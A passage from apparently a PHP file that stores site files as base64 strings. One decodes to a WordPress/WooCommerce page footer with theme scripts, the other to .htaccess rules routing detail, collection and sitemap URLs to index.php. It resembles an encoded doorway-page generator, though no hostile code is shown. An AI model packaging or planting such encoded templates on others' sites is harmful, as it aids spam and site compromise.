GNsYXNzPSJzaGFyZS10d2l0dGVyIiBocmVmPSIjIiB0aXRsZT0iVHdpdHRlciI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtaW5zdGFncmFtIiBocmVmPSIjIiB0aXRsZT0iSW5zdGFncmFtIj48L2E+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPHNjcmlwdD4NCiAgICB3aW5kb3cuUlNfTU9EVUxFUyA9IHdpbmRvdy5SU19NT0RVTEVTIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLm1vZHVsZXMgPSB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLndhaXRpbmcgPSB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nIHx8IFtdOw0KICAgIHdpbmRvdy5SU19NT0RVTEVTLmRlZmVyZWQgPSB0cnVlOw0KICAgIHdpbmRvdy5SU19NT0RVTEVTLm1vZHVsZVdhaXRpbmcgPSB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLnR5cGUgPSAnY29tcGlsZWQnOw0KPC9zY3JpcHQ+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdmFyIGMgPSBkb2N1bWVudC5ib2R5LmNsYXNzTmFtZTsNCiAgICAgICAgYyA9IGMucmVwbGFjZSgvd29vY29tbWVyY2Utbm8tanMvLCAnd29vY29tbWVyY2UtanMnKTsNCiAgICAgICAgZG9jdW1lbnQuYm9keS5jbGFzc05hbWUgPSBjOw0KICAgIH0pKCk7DQo8L3NjcmlwdD4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2UtYW5pbWF0aW9ucy1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvbGliL2FuaW1hdGlvbnMvYW5pbWF0aW9ucy5taW4uY3NzP3Zlcj0zLjEwLjInIG1lZGlhPSdhbGwnLz4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2Nzcy9yczYuY3NzP3Zlcj02LjUuMjAnIG1lZGlhPSdhbGwnLz4NCjxzdHlsZSBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWlubGluZS1jc3MnPg0KICAgICNycy1kZW1vLWlkIHsNCiAgICB9DQo8L3N0eWxlPg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvc3d2L2pzL2luZGV4LmpzP3Zlcj01LjcuMycgaWQ9J3N3di1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdjb250YWN0LWZvcm0tNy1qcy1leHRyYSc+DQogICAgdmFyIHdwY2Y3ID0geyJhcGkiOiB7InJvb3QiOiAiXC93cC1qc29uXC8iLCAibmFtZXNwYWNlIjogImNvbnRhY3QtZm9ybS03XC92MSJ9fTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvanMvaW5kZXguanM/dmVyPTUuNy4zJyBpZD0nY29udGFjdC1mb3JtLTctanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvanMvcmJ0b29scy5taW4uanM/dmVyPTYuNS4xOCcgZGVmZXIgYXN5bmMNCiAgICAgICAgaWQ9J3RwLXRvb2xzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2pzL3JzNi5taW4uanM/dmVyPTYuNS4yMCcgZGVmZXIgYXN5bmMgaWQ9J3Jldm1pbi1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LWJsb2NrdWkvanF1ZXJ5LmJsb2NrVUkubWluLmpzP3Zlcj0yLjcuMC13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1ibG9ja3VpLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3djLWFkZC10by1jYXJ0LWpzLWV4dHJhJz4NCiAgICB2YXIgd2NfYWRkX3RvX2NhcnRfcGFyYW1zID0gew0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUiLA0KICAgICAgICAiaTE4bl92aWV3X2NhcnQiOiAiVmlldyBjYXJ0IiwNCiAgICAgICAgImNhcnRfdXJsIjogIlwvY2FydCIsDQogICAgICAgICJpc19jYXJ0IjogIiIsDQogICAgICAgICJjYXJ0X3JlZGlyZWN0X2FmdGVyX2FkZCI6ICJubyINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvYWRkLXRvLWNhcnQubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3djLWFkZC10by1jYXJ0LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcy1jb29raWUvanMuY29va2llLm1pbi5qcz92ZXI9Mi4xLjQtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcy1jb29raWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd29vY29tbWVyY2UtanMtZXh0cmEnPg0KICAgIHZhciB3b29jb21tZXJjZV9wYXJhbXMgPSB7ImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIn07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC93b29jb21tZXJjZS5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd29vY29tbWVyY2UtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2MtY2FydC1mcmFnbWVudHMtanMtZXh0cmEnPg0KICAgIHZhciB3Y19jYXJ0X2ZyYWdtZW50c19wYXJhbXMgPSB7DQogICAgICAgICJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsDQogICAgICAgICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSIsDQogICAgICAgICJjYXJ0X2hhc2hfa2V5IjogIndjX2NhcnRfaGFzaF9hYjY4MTQxMTU4YjlmNmJiYjczNjdmYzA2OWFiMmNhZiIsDQogICAgICAgICJmcmFnbWVudF9uYW1lIjogIndjX2ZyYWdtZW50c19hYjY4MTQxMTU4YjlmNmJiYjczNjdmYzA2OWFiMmNhZiIsDQogICAgICAgICJyZXF1ZXN0X3RpbWVvdXQiOiAiNTAwMCINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvY2FydC1mcmFnbWVudHMubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3djLWNhcnQtZnJhZ21lbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3BvcnRvLWxpdmUtc2VhcmNoLWpzLWV4dHJhJz4NCiAgICB2YXIgcG9ydG9fbGl2ZV9zZWFyY2ggPSB7Im5vbmNlIjogImY4OTJkZDk0NjkifTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9pbmMvbGliL2xpdmUtc2VhcmNoL2xpdmUtc2VhcmNoLm1pbi5qcz92ZXI9Ni43LjInDQogICAgICAgIGlkPSdwb3J0by1saXZlLXNlYXJjaC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2Jvb3RzdHJhcC5qcz92ZXI9NS4wLjEnIGlkPSdib290c3RyYXAtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pxdWVyeS1jb29raWUvanF1ZXJ5LmNvb2tpZS5taW4uanM/dmVyPTEuNC4xLXdjLjYuNy4wJw0KICAgICAgICBpZD0nanF1ZXJ5LWNvb2tpZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvb3dsLmNhcm91c2VsLm1pbi5qcz92ZXI9Mi4zLjQnIGlkPSdvd2wuY2Fyb3VzZWwtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9pbWFnZXNsb2FkZWQubWluLmpzP3Zlcj00LjEuNCcgaWQ9J2ltYWdlc2xvYWRlZC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGFzeW5jPSJhc3luYyIgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9qcXVlcnkubWFnbmlmaWMtcG9wdXAubWluLmpzP3Zlcj0xLjEuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1tYWduaWZpYy1wb3B1cC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by10aGVtZS1qcy1leHRyYSc+DQogICAgdmFyIGpzX3BvcnRvX3ZhcnMgPSB7DQogICAgICAgICJydGwiOiAiIiwNCiAgICAgICAgInRoZW1lX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG8iLA0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAiY2hhbmdlX2xvZ28iOiAiMSIsDQogICAgICAgICJjb250YWluZXJfd2lkdGgiOiAiMTE0MCIsDQogICAgICAgICJncmlkX2d1dHRlcl93aWR0aCI6ICIyMCIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXIiOiAiMSIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXJfdGFibGV0IjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX21vYmlsZSI6ICIxIiwNCiAgICAgICAgImFqYXhfbG9hZGVyX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG9cL2ltYWdlc1wvYWpheC1sb2FkZXJAMnguZ2lmIiwNCiAgICAgICAgImNhdGVnb3J5X2FqYXgiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXAiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXBfdGl0bGUiOiAiIiwNCiAgICAgICAgInByZGN0Zmx0cl9hamF4IjogIiIsDQogICAgICAgICJzbGlkZXJfbG9vcCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvcGxheSI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvaGVpZ2h0IjogIjEiLA0KICAgICAgICAic2xpZGVyX3NwZWVkIjogIjUwMDAiLA0KICAgICAgICAic2xpZGVyX25hdiI6ICIiLA0KICAgICAgICAic2xpZGVyX25hdl9ob3ZlciI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9tYXJnaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9kb3RzIjogIjEiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVpbiI6ICIiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVvdXQiOiAiIiwNCiAgICAgICAgInByb2R1Y3RfdGh1bWJzX2NvdW50IjogIjQiLA0KICAgICAgICAicHJvZHVjdF96b29tIjogIjEiLA0KICAgICAgICAicHJvZHVjdF96b29tX21vYmlsZSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3RfaW1hZ2VfcG9wdXAiOiAiMSIsDQogICAgICAgICJ6b29tX3R5cGUiOiAiaW5uZXIiLA0KICAgICAgICAiem9vbV9zY3JvbGwiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfc2l6ZSI6ICIyMDAiLA0KICAgICAgICAiem9vbV9sZW5zX3NoYXBlIjogInNxdWFyZSIsDQogICAgICAgICJ6b29tX2NvbnRhaW5fbGVucyI6ICIxIiwNCiAgICAgICAgInpvb21fbGVuc19ib3JkZXIiOiAiMSIsDQogICAgICAgICJ6b29tX2JvcmRlcl9jb2xvciI6ICIjODg4ODg4IiwNCiAgICAgICAgInpvb21fYm9yZGVyIjogIjAiLA0KICAgICAgICAic2NyZWVuX2xnIjogIjExNjAiLA0KICAgICAgICAibWZwX2NvdW50ZXIiOiAiJWN1cnIlIG9mICV0b3RhbCUiLA0KICAgICAgICAibWZwX2ltZ19lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgaW1hZ2U8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJtZnBfYWpheF9lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgY29udGVudDxcL2E+IGNvdWxkIG5vdCBiZSBsb2FkZWQuIiwNCiAgICAgICAgInBvcHVwX2Nsb3NlIjogIkNsb3NlIiwNCiAgICAgICAgInBvcHVwX3ByZXYiOiAiUHJldmlvdXMiLA0KICAgICAgICAicG9wdXBfbmV4dCI6ICJOZXh0IiwNCiAgICAgICAgInJlcXVlc3RfZXJyb3IiOiAiVGhlIHJlcXVlc3RlZCBjb250ZW50IGNhbm5vdCBiZSBsb2FkZWQuPGJyXC8+UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4iLA0KICAgICAgICAibG9hZGVyX3RleHQiOiAiTG9hZGluZy4uLiIsDQogICAgICAgICJzdWJtZW51X2JhY2siOiAiQmFjayIsDQogICAgICAgICJwb3J0b19ub25jZSI6ICJkOWI0MGM2NjFjIiwNCiAgICAgICAgInVzZV9za2VsZXRvbl9zY3JlZW4iOiBbInNob3AiLCAicHJvZHVjdCIsICJxdWlja3ZpZXciXSwNCiAgICAgICAgInVzZXJfZWRpdF9wYWdlcyI6ICIiLA0KICAgICAgICAicXVpY2tfYWNjZXNzIjogIkNsaWNrIHRvIGVkaXQgdGhpcyBlbGVtZW50LiIsDQogICAgICAgICJnb3RvX3R5cGUiOiAiR28gVG8gdGhlIFR5cGUgQnVpbGRlci4iLA0KICAgICAgICAibGVnYWN5X21vZGUiOiAiMSINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3RoZW1lLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXRoZW1lLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgYXN5bmM9ImFzeW5jIiBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy90aGVtZS1hc3luYy5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by10aGVtZS1hc3luYy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3dvb2NvbW1lcmNlLXRoZW1lLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXdvb2NvbW1lcmNlLXRoZW1lLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvd2VicGFjay5ydW50aW1lLm1pbi5qcz92ZXI9My4xMC4yJw0KICAgICAgICBpZD0nZWxlbWVudG9yLXdlYnBhY2stcnVudGltZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2pzL2Zyb250ZW5kLW1vZHVsZXMubWluLmpzP3Zlcj0zLjEwLjInDQogICAgICAgIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtbW9kdWxlcy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi93YXlwb2ludHMvd2F5cG9pbnRzLm1pbi5qcz92ZXI9NC4wLjInDQogICAgICAgIGlkPSdlbGVtZW50b3Itd2F5cG9pbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL2NvcmUubWluLmpzP3Zlcj0xLjEzLjInIGlkPSdqcXVlcnktdWktY29yZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtanMtYmVmb3JlJz4NCiAgICB2YXIgZWxlbWVudG9yRnJvbnRlbmRDb25maWcgPSB7DQogICAgICAgICJlbnZpcm9ubWVudE1vZGUiOiB7ImVkaXQiOiBmYWxzZSwgIndwUHJldmlldyI6IGZhbHNlLCAiaXNTY3JpcHREZWJ1ZyI6IGZhbHNlfSwNCiAgICAgICAgImkxOG4iOiB7DQogICAgICAgICAgICAic2hhcmVPbkZhY2Vib29rIjogIlNoYXJlIG9uIEZhY2Vib29rIiwNCiAgICAgICAgICAgICJzaGFyZU9uVHdpdHRlciI6ICJTaGFyZSBvbiBUd2l0dGVyIiwNCiAgICAgICAgICAgICJwaW5JdCI6ICJQaW4gaXQiLA0KICAgICAgICAgICAgImRvd25sb2FkIjogIkRvd25sb2FkIiwNCiAgICAgICAgICAgICJkb3dubG9hZEltYWdlIjogIkRvd25sb2FkIGltYWdlIiwNCiAgICAgICAgICAgICJmdWxsc2NyZWVuIjogIkZ1bGxzY3JlZW4iLA0KICAgICAgICAgICAgInpvb20iOiAiWm9vbSIsDQogICAgICAgICAgICAic2hhcmUiOiAiU2hhcmUiLA0KICAgICAgICAgICAgInBsYXlWaWRlbyI6ICJQbGF5IFZpZGVvIiwNCiAgICAgICAgICAgICJwcmV2aW91cyI6ICJQcmV2aW91cyIsDQogICAgICAgICAgICAibmV4dCI6ICJOZXh0IiwNCiAgICAgICAgICAgICJjbG9zZSI6ICJDbG9zZSINCiAgICAgICAgfSwNCiAgICAgICAgImlzX3J0bCI6IGZhbHNlLA0KICAgICAgICAiYnJlYWtwb2ludHMiOiB7InhzIjogMCwgInNtIjogNDgwLCAibWQiOiA3NjgsICJsZyI6IDEwMjUsICJ4bCI6IDE0NDAsICJ4eGwiOiAxNjAwfSwNCiAgICAgICAgInJlc3BvbnNpdmUiOiB7DQogICAgICAgICAgICAiYnJlYWtwb2ludHMiOiB7DQogICAgICAgICAgICAgICAgIm1vYmlsZSI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIk1vYmlsZSIsDQogICAgICAgICAgICAgICAgICAgICJ2YWx1ZSI6IDc2NywNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiA3NjcsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiB0cnVlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibW9iaWxlX2V4dHJhIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiTW9iaWxlIEV4dHJhIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogODgwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDg4MCwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IGZhbHNlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidGFibGV0Ijogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiVGFibGV0IiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogOTkxLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEwMjQsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiB0cnVlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidGFibGV0X2V4dHJhIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiVGFibGV0IEV4dHJhIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogMTIwMCwNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiAxMjAwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1heCIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJsYXB0b3AiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJMYXB0b3AiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAxMzY2LA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEzNjYsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIndpZGVzY3JlZW4iOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJXaWRlc2NyZWVuIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogMjQwMCwNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiAyNDAwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1pbiIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0sDQogICAgICAgICJ2ZXJzaW9uIjogIjMuMTAuMiIsDQogICAgICAgICJpc19zdGF0aWMiOiBmYWxzZSwNCiAgICAgICAgImV4cGVyaW1lbnRhbEZlYXR1cmVzIjogew0KICAgICAgICAgICAgImVfZG9tX29wdGltaXphdGlvbiI6IHRydWUsDQogICAgICAgICAgICAiZV9vcHRpbWl6ZWRfYXNzZXRzX2xvYWRpbmciOiB0cnVlLA0KICAgICAgICAgICAgImVfb3B0aW1pemVkX2Nzc19sb2FkaW5nIjogdHJ1ZSwNCiAgICAgICAgICAgICJhMTF5X2ltcHJvdmVtZW50cyI6IHRydWUsDQogICAgICAgICAgICAiYWRkaXRpb25hbF9jdXN0b21fYnJlYWtwb2ludHMiOiB0cnVlLA0KICAgICAgICAgICAgImVfaGlkZGVuX3dvcmRwcmVzc193aWRnZXRzIjogdHJ1ZSwNCiAgICAgICAgICAgICJsYW5kaW5nLXBhZ2VzIjogdHJ1ZSwNCiAgICAgICAgICAgICJraXQtZWxlbWVudHMtZGVmYXVsdHMiOiB0cnVlDQogICAgICAgIH0sDQogICAgICAgICJ1cmxzIjogeyJhc3NldHMiOiAiXC93cC1jb250ZW50XC9wbHVnaW5zXC9lbGVtZW50b3JcL2Fzc2V0c1wvIn0sDQogICAgICAgICJzZXR0aW5ncyI6IHsicGFnZSI6IFtdLCAiZWRpdG9yUHJlZmVyZW5jZXMiOiBbXX0sDQogICAgICAgICJraXQiOiB7DQogICAgICAgICAgICAidmlld3BvcnRfdGFibGV0IjogIjk5MSIsDQogICAgICAgICAgICAiYWN0aXZlX2JyZWFrcG9pbnRzIjogWyJ2aWV3cG9ydF9tb2JpbGUiLCAidmlld3BvcnRfdGFibGV0Il0sDQogICAgICAgICAgICAiZ2xvYmFsX2ltYWdlX2xpZ2h0Ym94IjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX2NvdW50ZXIiOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfZnVsbHNjcmVlbiI6ICJ5ZXMiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2VuYWJsZV96b29tIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX3NoYXJlIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfdGl0bGVfc3JjIjogInRpdGxlIiwNCiAgICAgICAgICAgICJsaWdodGJveF9kZXNjcmlwdGlvbl9zcmMiOiAiZGVzY3JpcHRpb24iDQogICAgICAgIH0sDQogICAgICAgICJwb3N0IjogeyJpZCI6IDE0MywgInRpdGxlIjogInRlc3QlMjB0aXRsZTEiLCAiZXhjZXJwdCI6ICIiLCAiZmVhdHVyZWRJbWFnZSI6IGZhbHNlfQ0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvZnJvbnRlbmQubWluLmpzP3Zlcj0zLjEwLjInIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtanMnPjwvc2NyaXB0Pg0KPCEtLSBXb29Db21tZXJjZSBKYXZhU2NyaXB0IC0tPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIGpRdWVyeShmdW5jdGlvbiAoJCkgew0KICAgICAgICBqUXVlcnkoZG9jdW1lbnQuYm9keSkudHJpZ2dlcignd2NfZnJhZ21lbnRfcmVmcmVzaCcpDQogICAgfSk7DQo8L3NjcmlwdD4NCjxzY3JpcHQ+DQogICAgalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbiAoJCkgew0KICAgICAgICAkKCcuaG9tZS1iYW5uZXIgLnBvcnRvLWNhcm91c2VsJykub24oJ2NoYW5nZS5vd2wuY2Fyb3VzZWwnLCBmdW5jdGlvbiAoZXZlbnQpIHsNCiAgICAgICAgICAgIHZhciBjdXJyZW50ID0gZXZlbnQuaXRlbS5pbmRleDsNCiAgICAgICAgICAgICQoZXZlbnQudGFyZ2V0KS5maW5kKCcub3dsLWl0ZW0nKS5lcShjdXJyZW50KS5maW5kKCdbZGF0YS1hcHBlYXItYW5pbWF0aW9uXScpLmVhY2goZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICQodGhpcykucmVtb3ZlQ2xhc3MoJCh0aGlzKS5kYXRhKCdhcHBlYXItYW5pbWF0aW9uJykpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0pLm9uKCdjaGFuZ2VkLm93bC5jYXJvdXNlbCcsIGZ1bmN0aW9uIChldmVudCkgew0KICAgICAgICAgICAgdmFyIGN1cnJlbnQgPSBldmVudC5pdGVtLmluZGV4Ow0KICAgICAgICAgICAgJChldmVudC50YXJnZXQpLmZpbmQoJy5vd2wtaXRlbScpLmVxKGN1cnJlbnQpLmZpbmQoJ1tkYXRhLWFwcGVhci1hbmltYXRpb25dJykuZWFjaChmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygkKHRoaXMpLmRhdGEoJ2FwcGVhci1hbmltYXRpb24nKSk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgfSk7ICAgICAgICAgICAgICAgIDwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==',
  '.htaccess' => 'UmV3cml0ZUVuZ2luZSBPbg0KDQpSZXdyaXRlUnVsZSBeZGV0YWlsLyg/OlteX10qKV8oW14uL10rKVwuaHRtbCQgaW5kZXgucGhwP3Q9ZGV0YWlsJmk9JDEgW0xdDQpSZXdyaXRlUnVsZSBeY29sbGVjdGlvbi8oPzpbXl9dKilfKFteLi9dKylcLmh0bWwkIGluZGV4LnBocD90PWNvbGxlY3Rpb24maT0kMSBbTF0NClJld3JpdGVSdWxlIF5jb2xsZWN0aW9uLyg/OlteX10qKV8oW14uL10rKS8oXGQrKS8oXGQrKVwuaHRtbCQgaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZpPSQxJm49JDImcz0kMyBbTF0NCg0KUmV3cml0ZVJ1bGUgXnNpdGVtYXAueG1sJCBpbmRleC5waHA/dD1zaXRlbWFwJnM9JDEmZj14bWwgW0xdDQpSZXdyaXRlUnVsZSBec2l0ZW1hcCgtXGQrKT9cLih0eHR8eG1sKSQgaW5kZXgucGhwP3Q9c2l0ZW1hcCZzPSQxJmY9JDIgW0xdDQoNClJld3Jpd